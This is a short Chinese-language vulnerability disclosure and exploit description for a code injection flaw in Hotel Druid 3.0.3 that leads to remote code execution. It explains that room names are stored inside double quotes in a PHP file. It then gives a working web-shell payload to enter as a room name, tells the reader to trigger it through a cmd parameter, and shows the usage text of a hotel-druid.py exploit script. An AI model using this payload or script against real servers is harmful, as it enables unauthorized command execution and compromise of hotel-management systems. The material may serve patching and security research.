
Hotel Druid 3.0.3 代码注入到远程代码执行
已在 Hotel Druid v3.0.3 应用程序中发现一个代码注入漏洞,攻击者可利用该漏洞在服务器上执行远程代码。
成功利用此漏洞的前提是,攻击者必须拥有添加新客房的权限。
该漏洞的产生原因是客房名称被存储到名为 /dati/selectappartamenti.php 的文件中,且使用了双引号。
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
要成功利用该漏洞,请添加一个客房,并将以下 Payload 作为客房名称。
{${system($_REQUEST[cmd])}}
添加新客房后,访问 /dati/selectappartamenti.php,并通过 cmd 参数传递命令来触发 webshell。
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
如果应用程序没有身份验证,请使用 --noauth 标志执行无需身份验证的操作。

如果服务器启用了身份验证,请使用 --username 和 --password 进行身份验证。

研究人员及PoC编写者 - 0z09e